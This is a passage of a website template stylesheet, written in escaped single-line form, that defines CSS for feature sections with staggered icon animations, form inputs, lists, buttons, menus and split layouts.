wrap;\n\t\tflex-wrap: wrap;\n\t\tborder-radius: 0.25em;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\t.features section {\n\t\t\tpadding: 3.5em 3em 1em 7em ;\n\t\t\twidth: 50%;\n\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tposition: relative;\n\t\t}\n\n\t\t\t.features section:nth-child(-n + 2) {\n\t\t\t\tborder-top-width: 0;\n\t\t\t}\n\n\t\t\t.features section:nth-child(2n) {\n\t\t\t\tborder-left: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t}\n\n\t\t\t.features section .icon {\n\t\t\t\t-moz-transition: opacity 0.5s ease, -moz-transform 0.5s ease;\n\t\t\t\t-webkit-transition: opacity 0.5s ease, -webkit-transform 0.5s ease;\n\t\t\t\t-ms-transition: opacity 0.5s ease, -ms-transform 0.5s ease;\n\t\t\t\ttransition: opacity 0.5s ease, transform 0.5s ease;\n\t\t\t\t-moz-transition-delay: 1s;\n\t\t\t\t-webkit-transition-delay: 1s;\n\t\t\t\t-ms-transition-delay: 1s;\n\t\t\t\ttransition-delay: 1s;\n\t\t\t\t-moz-transform: scale(1);\n\t\t\t\t-webkit-transform: scale(1);\n\t\t\t\t-ms-transform: scale(1);\n\t\t\t\ttransform: scale(1);\n\t\t\t\tposition: absolute;\n\t\t\t\tleft: 3em;\n\t\t\t\ttop: 3em;\n\t\t\t\topacity: 1;\n\t\t\t}\n\n\t\t\t.features section:nth-child(1) .icon {\n\t\t\t\t-moz-transition-delay: 0.15s;\n\t\t\t\t-webkit-transition-delay: 0.15s;\n\t\t\t\t-ms-transition-delay: 0.15s;\n\t\t\t\ttransition-delay: 0.15s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(2) .icon {\n\t\t\t\t-moz-transition-delay: 0.3s;\n\t\t\t\t-webkit-transition-delay: 0.3s;\n\t\t\t\t-ms-transition-delay: 0.3s;\n\t\t\t\ttransition-delay: 0.3s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(3) .icon {\n\t\t\t\t-moz-transition-delay: 0.45s;\n\t\t\t\t-webkit-transition-delay: 0.45s;\n\t\t\t\t-ms-transition-delay: 0.45s;\n\t\t\t\ttransition-delay: 0.45s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(4) .icon {\n\t\t\t\t-moz-transition-delay: 0.6s;\n\t\t\t\t-webkit-transition-delay: 0.6s;\n\t\t\t\t-ms-transition-delay: 0.6s;\n\t\t\t\ttransition-delay: 0.6s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(5) .icon {\n\t\t\t\t-moz-transition-delay: 0.75s;\n\t\t\t\t-webkit-transition-delay: 0.75s;\n\t\t\t\t-ms-transition-delay: 0.75s;\n\t\t\t\ttransition-delay: 0.75s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(6) .icon {\n\t\t\t\t-moz-transition-delay: 0.9s;\n\t\t\t\t-webkit-transition-delay: 0.9s;\n\t\t\t\t-ms-transition-delay: 0.9s;\n\t\t\t\ttransition-delay: 0.9s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(7) .icon {\n\t\t\t\t-moz-transition-delay: 1.05s;\n\t\t\t\t-webkit-transition-delay: 1.05s;\n\t\t\t\t-ms-transition-delay: 1.05s;\n\t\t\t\ttransition-delay: 1.05s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(8) .icon {\n\t\t\t\t-moz-transition-delay: 1.2s;\n\t\t\t\t-webkit-transition-delay: 1.2s;\n\t\t\t\t-ms-transition-delay: 1.2s;\n\t\t\t\ttransition-delay: 1.2s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(9) .icon {\n\t\t\t\t-moz-transition-delay: 1.35s;\n\t\t\t\t-webkit-transition-delay: 1.35s;\n\t\t\t\t-ms-transition-delay: 1.35s;\n\t\t\t\ttransition-delay: 1.35s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(10) .icon {\n\t\t\t\t-moz-transition-delay: 1.5s;\n\t\t\t\t-webkit-transition-delay: 1.5s;\n\t\t\t\t-ms-transition-delay: 1.5s;\n\t\t\t\ttransition-delay: 1.5s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(11) .icon {\n\t\t\t\t-moz-transition-delay: 1.65s;\n\t\t\t\t-webkit-transition-delay: 1.65s;\n\t\t\t\t-ms-transition-delay: 1.65s;\n\t\t\t\ttransition-delay: 1.65s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(12) .icon {\n\t\t\t\t-moz-transition-delay: 1.8s;\n\t\t\t\t-webkit-transition-delay: 1.8s;\n\t\t\t\t-ms-transition-delay: 1.8s;\n\t\t\t\ttransition-delay: 1.8s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(13) .icon {\n\t\t\t\t-moz-transition-delay: 1.95s;\n\t\t\t\t-webkit-transition-delay: 1.95s;\n\t\t\t\t-ms-transition-delay: 1.95s;\n\t\t\t\ttransition-delay: 1.95s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(14) .icon {\n\t\t\t\t-moz-transition-delay: 2.1s;\n\t\t\t\t-webkit-transition-delay: 2.1s;\n\t\t\t\t-ms-transition-delay: 2.1s;\n\t\t\t\ttransition-delay: 2.1s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(15) .icon {\n\t\t\t\t-moz-transition-delay: 2.25s;\n\t\t\t\t-webkit-transition-delay: 2.25s;\n\t\t\t\t-ms-transition-delay: 2.25s;\n\t\t\t\ttransition-delay: 2.25s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(16) .icon {\n\t\t\t\t-moz-transition-delay: 2.4s;\n\t\t\t\t-webkit-transition-delay: 2.4s;\n\t\t\t\t-ms-transition-delay: 2.4s;\n\t\t\t\ttransition-delay: 2.4s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(17) .icon {\n\t\t\t\t-moz-transition-delay: 2.55s;\n\t\t\t\t-webkit-transition-delay: 2.55s;\n\t\t\t\t-ms-transition-delay: 2.55s;\n\t\t\t\ttransition-delay: 2.55s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(18) .icon {\n\t\t\t\t-moz-transition-delay: 2.7s;\n\t\t\t\t-webkit-transition-delay: 2.7s;\n\t\t\t\t-ms-transition-delay: 2.7s;\n\t\t\t\ttransition-delay: 2.7s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(19) .icon {\n\t\t\t\t-moz-transition-delay: 2.85s;\n\t\t\t\t-webkit-transition-delay: 2.85s;\n\t\t\t\t-ms-transition-delay: 2.85s;\n\t\t\t\ttransition-delay: 2.85s;\n\t\t\t}\n\n\t\t\t.features section:nth-child(20) .icon {\n\t\t\t\t-moz-transition-delay: 3s;\n\t\t\t\t-webkit-transition-delay: 3s;\n\t\t\t\t-ms-transition-delay: 3s;\n\t\t\t\ttransition-delay: 3s;\n\t\t\t}\n\n\t\t.features.inactive section .icon {\n\t\t\t-moz-transform: scale(0.5);\n\t\t\t-webkit-transform: scale(0.5);\n\t\t\t-ms-transform: scale(0.5);\n\t\t\ttransform: scale(0.5);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.features {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.features section {\n\t\t\t\t\tborder-top-width: 1px !important;\n\t\t\t\t\tborder-left-width: 0 !important;\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t\t.features section:first-child {\n\t\t\t\t\t\tborder-top-width: 0 !important;\n\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.features section {\n\t\t\t\tpadding: 2.5em 1.5em 0.1em 5.5em ;\n\t\t\t}\n\n\t\t\t\t.features section .icon {\n\t\t\t\t\tleft: 1.5em;\n\t\t\t\t\ttop: 2em;\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t.features section {\n\t\t\t\tpadding: 2em 1.5em 0.1em 1.5em ;\n\t\t\t}\n\n\t\t\t\t.features section .icon {\n\t\t\t\t\tleft: 0;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\ttop: 0;\n\t\t\t\t}\n\n\t\t}\n\n/* Form */\n\n\tform {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tform > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\tform > .fields {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-wrap: wrap;\n\t\t\t-webkit-flex-wrap: wrap;\n\t\t\t-ms-flex-wrap: wrap;\n\t\t\tflex-wrap: wrap;\n\t\t\twidth: calc(100% + 3em);\n\t\t\tmargin: -1.5em 0 2em -1.5em;\n\t\t}\n\n\t\t\tform > .fields > .field {\n\t\t\t\t-moz-flex-grow: 0;\n\t\t\t\t-webkit-flex-grow: 0;\n\t\t\t\t-ms-flex-grow: 0;\n\t\t\t\tflex-grow: 0;\n\t\t\t\t-moz-flex-shrink: 0;\n\t\t\t\t-webkit-flex-shrink: 0;\n\t\t\t\t-ms-flex-shrink: 0;\n\t\t\t\tflex-shrink: 0;\n\t\t\t\tpadding: 1.5em 0 0 1.5em;\n\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t}\n\n\t\t\t\tform > .fields > .field.half {\n\t\t\t\t\twidth: calc(50% - 0.75em);\n\t\t\t\t}\n\n\t\t\t\tform > .fields > .field.third {\n\t\t\t\t\twidth: calc(100%/3 - 0.5em);\n\t\t\t\t}\n\n\t\t\t\tform > .fields > .field.quarter {\n\t\t\t\t\twidth: calc(25% - 0.375em);\n\t\t\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\tform > .fields {\n\t\t\t\twidth: calc(100% + 3em);\n\t\t\t\tmargin: -1.5em 0 2em -1.5em;\n\t\t\t}\n\n\t\t\t\tform > .fields > .field {\n\t\t\t\t\tpadding: 1.5em 0 0 1.5em;\n\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t}\n\n\t\t\t\t\tform > .fields > .field.half {\n\t\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t\t}\n\n\t\t\t\t\tform > .fields > .field.third {\n\t\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t\t}\n\n\t\t\t\t\tform > .fields > .field.quarter {\n\t\t\t\t\t\twidth: calc(100% - 1.5em);\n\t\t\t\t\t}\n\n\t\t}\n\n\tlabel {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.7em 0;\n\t\tdisplay: block;\n\t\tfont-size: 1.1em;\n\t}\n\n\tinput[type=\"text\"],\n\tinput[type=\"password\"],\n\tinput[type=\"email\"],\n\tinput[type=\"tel\"],\n\tselect,\n\ttextarea {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\tborder-radius: 0.25em;\n\t\tborder: none;\n\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\tcolor: inherit;\n\t\tdisplay: block;\n\t\toutline: 0;\n\t\tpadding: 0 1em;\n\t\ttext-decoration: none;\n\t\twidth: 100%;\n\t}\n\n\t\tinput[type=\"text\"]:invalid,\n\t\tinput[type=\"password\"]:invalid,\n\t\tinput[type=\"email\"]:invalid,\n\t\tinput[type=\"tel\"]:invalid,\n\t\tselect:invalid,\n\t\ttextarea:invalid {\n\t\t\tbox-shadow: none;\n\t\t}\n\n\t\tinput[type=\"text\"]:focus,\n\t\tinput[type=\"password\"]:focus,\n\t\tinput[type=\"email\"]:focus,\n\t\tinput[type=\"tel\"]:focus,\n\t\tselect:focus,\n\t\ttextarea:focus {\n\t\t\tborder-color: #ffffff;\n\t\t\tbox-shadow: 0 0 0 1px #ffffff;\n\t\t}\n\n\tselect {\n\t\tbackground-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'%3E%3Cpath d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='rgba(255, 255, 255, 0.15)' /%3E%3C/svg%3E\");\n\t\tbackground-size: 1.25rem;\n\t\tbackground-repeat: no-repeat;\n\t\tbackground-position: calc(100% - 1rem) center;\n\t\theight: 2.75em;\n\t\tpadding-right: 2.75em;\n\t\ttext-overflow: ellipsis;\n\t}\n\n\t\tselect option {\n\t\t\tcolor: #ffffff;\n\t\t\tbackground: #312450;\n\t\t}\n\n\t\tselect:focus::-ms-value {\n\t\t\tbackground-color: transparent;\n\t\t}\n\n\t\tselect::-ms-expand {\n\t\t\tdisplay: none;\n\t\t}\n\n\tinput[type=\"text\"],\n\tinput[type=\"password\"],\n\tinput[type=\"email\"],\n\tselect {\n\t\theight: 2.75em;\n\t}\n\n\ttextarea {\n\t\tpadding: 0.75em 1em;\n\t}\n\n\t\tbody.is-ie textarea {\n\t\t\tmin-height: 10em;\n\t\t}\n\n\tinput[type=\"checkbox\"],\n\tinput[type=\"radio\"] {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\tdisplay: block;\n\t\tfloat: left;\n\t\tmargin-right: -2em;\n\t\topacity: 0;\n\t\twidth: 1em;\n\t\tz-index: -1;\n\t}\n\n\t\tinput[type=\"checkbox\"] + label,\n\t\tinput[type=\"radio\"] + label {\n\t\t\ttext-decoration: none;\n\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\tcursor: pointer;\n\t\t\tdisplay: inline-block;\n\t\t\tfont-size: 1em;\n\t\t\tfont-weight: normal;\n\t\t\tpadding-left: 2.4em;\n\t\t\tpadding-right: 0.75em;\n\t\t\tposition: relative;\n\t\t}\n\n\t\t\tinput[type=\"checkbox\"] + label:before,\n\t\t\tinput[type=\"radio\"] + label:before {\n\t\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tfont-style: normal;\n\t\t\t\tfont-variant: normal;\n\t\t\t\ttext-rendering: auto;\n\t\t\t\tline-height: 1;\n\t\t\t\ttext-transform: none !important;\n\t\t\t\tfont-family: 'Font Awesome 5 Free';\n\t\t\t\tfont-weight: 900;\n\t\t\t}\n\n\t\t\tinput[type=\"checkbox\"] + label:before,\n\t\t\tinput[type=\"radio\"] + label:before {\n\t\t\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\t\t\tborder-radius: 0.25em;\n\t\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tcontent: '';\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tfont-size: 0.8em;\n\t\t\t\theight: 2.0625em;\n\t\t\t\tleft: 0;\n\t\t\t\tline-height: 2.0625em;\n\t\t\t\tposition: absolute;\n\t\t\t\ttext-align: center;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 2.0625em;\n\t\t\t}\n\n\t\tinput[type=\"checkbox\"]:checked + label:before,\n\t\tinput[type=\"radio\"]:checked + label:before {\n\t\t\tbackground: #ffffff;\n\t\t\tborder-color: #ffffff;\n\t\t\tcolor: #b74e91;\n\t\t\tcontent: '\\f00c';\n\t\t}\n\n\t\tinput[type=\"checkbox\"]:focus + label:before,\n\t\tinput[type=\"radio\"]:focus + label:before {\n\t\t\tborder-color: #ffffff;\n\t\t\tbox-shadow: 0 0 0 1px #ffffff;\n\t\t}\n\n\tinput[type=\"checkbox\"] + label:before {\n\t\tborder-radius: 0.25em;\n\t}\n\n\tinput[type=\"radio\"] + label:before {\n\t\tborder-radius: 100%;\n\t}\n\n\t::-webkit-input-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t:-moz-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t::-moz-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t:-ms-input-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n/* Icon */\n\n\t.icon {\n\t\ttext-decoration: none;\n\t\tborder-bottom: none;\n\t\tposition: relative;\n\t}\n\n\t\t.icon:before {\n\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\tdisplay: inline-block;\n\t\t\tfont-style: normal;\n\t\t\tfont-variant: normal;\n\t\t\ttext-rendering: auto;\n\t\t\tline-height: 1;\n\t\t\ttext-transform: none !important;\n\t\t\tfont-family: 'Font Awesome 5 Free';\n\t\t\tfont-weight: 400;\n\t\t}\n\n\t\t.icon > .label {\n\t\t\tdisplay: none;\n\t\t}\n\n\t\t.icon:before {\n\t\t\tline-height: inherit;\n\t\t}\n\n\t\t.icon.solid:before {\n\t\t\tfont-weight: 900;\n\t\t}\n\n\t\t.icon.brands:before {\n\t\t\tfont-family: 'Font Awesome 5 Brands';\n\t\t}\n\n\t\t.icon.major {\n\t\t\twidth: 2.5em;\n\t\t\theight: 2.5em;\n\t\t\tdisplay: block;\n\t\t\tbackground: #FFBE98;\n\t\t\tborder-radius: 100%;\n\t\t\tcolor: #111111;\n\t\t\ttext-align: center;\n\t\t\tline-height: 2.5em;\n\t\t\tmargin: 0 0 1.3em 0;\n\t\t}\n\n\t\t\t.icon.major:before {\n\t\t\t\tfont-size: 1.25em;\n\t\t\t}\n\n\t\t\t\t.wrapper.style1 .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style1-alt .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style2 .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style2-alt .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style3 .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style3-alt .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n/* Image */\n\n\t.image {\n\t\tborder-radius: 0.25em;\n\t\tborder: 0;\n\t\tdisplay: inline-block;\n\t\tposition: relative;\n\t}\n\n\t\t.image img {\n\t\t\tborder-radius: 0.25em;\n\t\t\tdisplay: block;\n\t\t}\n\n\t\t.image.left, .image.right {\n\t\t\tmax-width: 40%;\n\t\t}\n\n\t\t\t.image.left img, .image.right img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.image.left {\n\t\t\tfloat: left;\n\t\t\tmargin: 0 1.5em 1em 0;\n\t\t\ttop: 0.25em;\n\t\t}\n\n\t\t.image.right {\n\t\t\tfloat: right;\n\t\t\tmargin: 0 0 1em 1.5em;\n\t\t\ttop: 0.25em;\n\t\t}\n\n\t\t.image.fit {\n\t\t\tdisplay: block;\n\t\t\tmargin: 0 0 2em 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\t.image.fit img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.image.main {\n\t\t\tdisplay: block;\n\t\t\tmargin: 0 0 3em 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\t.image.main img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n/* List */\n\n\tol {\n\t\tlist-style: decimal;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding-left: 1.25em;\n\t}\n\n\t\tol li {\n\t\t\tpadding-left: 0.25em;\n\t\t}\n\n\tul {\n\t\tlist-style: disc;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding-left: 1em;\n\t}\n\n\t\tul li {\n\t\t\tpadding-left: 0.5em;\n\t\t}\n\n\t\tul.alt {\n\t\t\tlist-style: none;\n\t\t\tpadding-left: 0;\n\t\t}\n\n\t\t\tul.alt li {\n\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tpadding: 0.5em 0;\n\t\t\t}\n\n\t\t\t\tul.alt li:first-child {\n\t\t\t\t\tborder-top: 0;\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\tdl {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tdl dt {\n\t\t\tdisplay: block;\n\t\t\tfont-weight: bold;\n\t\t\tmargin: 0 0 1em 0;\n\t\t}\n\n\t\tdl dd {\n\t\t\tmargin-left: 2em;\n\t\t}\n\n/* Actions */\n\n\tul.actions {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\tcursor: default;\n\t\tlist-style: none;\n\t\tmargin-left: -1em;\n\t\tpadding-left: 0;\n\t}\n\n\t\tul.actions li {\n\t\t\tpadding: 0 0 0 1em;\n\t\t\tvertical-align: middle;\n\t\t}\n\n\t\tul.actions.special {\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\twidth: 100%;\n\t\t\tmargin-left: 0;\n\t\t}\n\n\t\t\tul.actions.special li:first-child {\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\n\t\tul.actions.stacked {\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\tmargin-left: 0;\n\t\t}\n\n\t\t\tul.actions.stacked li {\n\t\t\t\tpadding: 1.3em 0 0 0;\n\t\t\t}\n\n\t\t\t\tul.actions.stacked li:first-child {\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\tul.actions.fit {\n\t\t\twidth: calc(100% + 1em);\n\t\t}\n\n\t\t\tul.actions.fit li {\n\t\t\t\t-moz-flex-grow: 1;\n\t\t\t\t-webkit-flex-grow: 1;\n\t\t\t\t-ms-flex-grow: 1;\n\t\t\t\tflex-grow: 1;\n\t\t\t\t-moz-flex-shrink: 1;\n\t\t\t\t-webkit-flex-shrink: 1;\n\t\t\t\t-ms-flex-shrink: 1;\n\t\t\t\tflex-shrink: 1;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t\tul.actions.fit li > * {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\tul.actions.fit.stacked {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\tul.actions:not(.fixed) {\n\t\t\t\t-moz-flex-direction: column;\n\t\t\t\t-webkit-flex-direction: column;\n\t\t\t\t-ms-flex-direction: column;\n\t\t\t\tflex-direction: column;\n\t\t\t\tmargin-left: 0;\n\t\t\t\twidth: 100% !important;\n\t\t\t}\n\n\t\t\t\tul.actions:not(.fixed) li {\n\t\t\t\t\t-moz-flex-grow: 1;\n\t\t\t\t\t-webkit-flex-grow: 1;\n\t\t\t\t\t-ms-flex-grow: 1;\n\t\t\t\t\tflex-grow: 1;\n\t\t\t\t\t-moz-flex-shrink: 1;\n\t\t\t\t\t-webkit-flex-shrink: 1;\n\t\t\t\t\t-ms-flex-shrink: 1;\n\t\t\t\t\tflex-shrink: 1;\n\t\t\t\t\tpadding: 1em 0 0 0;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t\tul.actions:not(.fixed) li > * {\n\t\t\t\t\t\twidth: 100%;\n\t\t\t\t\t}\n\n\t\t\t\t\tul.actions:not(.fixed) li:first-child {\n\t\t\t\t\t\tpadding-top: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\tul.actions:not(.fixed) li input[type=\"submit\"],\n\t\t\t\t\tul.actions:not(.fixed) li input[type=\"reset\"],\n\t\t\t\t\tul.actions:not(.fixed) li input[type=\"button\"],\n\t\t\t\t\tul.actions:not(.fixed) li button,\n\t\t\t\t\tul.actions:not(.fixed) li .button {\n\t\t\t\t\t\twidth: 100%;\n\t\t\t\t\t}\n\n\t\t\t\t\t\tul.actions:not(.fixed) li input[type=\"submit\"].icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li input[type=\"reset\"].icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li input[type=\"button\"].icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li button.icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li .button.icon:before {\n\t\t\t\t\t\t\tmargin-left: -0.5rem;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Contact */\n\n\tul.contact {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\t}\n\n\t\tul.contact > li {\n\t\t\tpadding: 0;\n\t\t\tmargin: 1.5em 0 0 0;\n\t\t}\n\n\t\t\tul.contact > li:first-child {\n\t\t\t\tmargin-top: 0;\n\t\t\t}\n\n/* Icons */\n\n\tul.icons {\n\t\tcursor: default;\n\t\tlist-style: none;\n\t\tpadding-left: 0;\n\t}\n\n\t\tul.icons li {\n\t\t\tdisplay: inline-block;\n\t\t\tpadding: 0 0.75em 0 0;\n\t\t}\n\n\t\t\tul.icons li:last-child {\n\t\t\t\tpadding-right: 0;\n\t\t\t}\n\n\t\t\tul.icons li > a, ul.icons li > span {\n\t\t\t\tborder: 0;\n\t\t\t}\n\n\t\t\t\tul.icons li > a .label, ul.icons li > span .label {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\n/* Menu */\n\n\tul.menu {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\t}\n\n\t\tul.menu > li {\n\t\t\tborder-left: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tdisplay: inline-block;\n\t\t\tline-height: 1;\n\t\t\tmargin-left: 1.5em;\n\t\t\tpadding: 0 0 0 1.5em;\n\t\t}\n\n\t\t\tul.menu > li:first-child {\n\t\t\t\tborder-left: 0;\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\tul.menu > li {\n\t\t\t\tborder-left: 0;\n\t\t\t\tdisplay: block;\n\t\t\t\tline-height: inherit;\n\t\t\t\tmargin: 0.5em 0 0 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\n\t\t}\n\n/* Section/Article */\n\n\tsection.special, article.special {\n\t\ttext-align: center;\n\t}\n\n\theader p {\n\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\tposition: relative;\n\t\tmargin: 0 0 1.5em 0;\n\t}\n\n\theader h2 + p {\n\t\tfont-size: 1.25em;\n\t\tmargin-top: -1em;\n\t\tline-height: 1.5em;\n\t}\n\n\theader h3 + p {\n\t\tfont-size: 1.1em;\n\t\tmargin-top: -0.8em;\n\t\tline-height: 1.5em;\n\t}\n\n\theader h4 + p,\n\theader h5 + p,\n\theader h6 + p {\n\t\tfont-size: 0.9em;\n\t\tmargin-top: -0.6em;\n\t\tline-height: 1.5em;\n\t}\n\n/* Split */\n\n\t.split {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t}\n\n\t\t.split > * {\n\t\t\twidth: calc(50% - 2.5em);\n\t\t}\n\n\t\t.split > :nth-child(2n - 1) {\n\t\t\tpadding-right: 2.5em;\n\t\t\tborder-right: solid 1px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\t.split > :nth-child(2n) {\n\t\t\tpadding-left: 2.5em;\n\t\t}\n\n\t\t.split.style1 > :nth-child(2n - 1) {\n\t\t\twidth: calc(66.66666% - 2.5em);\n\t\t}\n\n\t\t.split.style1 > :nth-child(2n) {\n\t\t\twidth: calc(33.33333% - 2.5em);\n\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.split > * {\n\t\t\t\twidth: calc(50% - 2em);\n\t\t\t}\n\n\t\t\t.split > :nth-child(2n - 1) {\n\t\t\t\tpadding-right: 2em;\n\t\t\t}\n\n\t\t\t.split > :nth-child(2n) {\n\t\t\t\tpadding-left: 2em;\n\t\t\t}\n\n\t\t\t.split.style1 > :nth-child(2n - 1) {\n\t\t\t\twidth: calc(66.66666% - 2em);\n\t\t\t}\n\n\t\t\t.split.style1 > :nth-child(2n) {\n\t\t\t\twidth: calc(33.33333% - 2em);\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.split {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.split > * {\n\t\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\t\tmargin: 4em 0 0 0;\n\t\t\t\t\tpadding: 4em 0 0 0;\n\t\t\t\t\twidth: 100% !important;\n\t\t\t\t}\n\n\t\t\t\t.split > 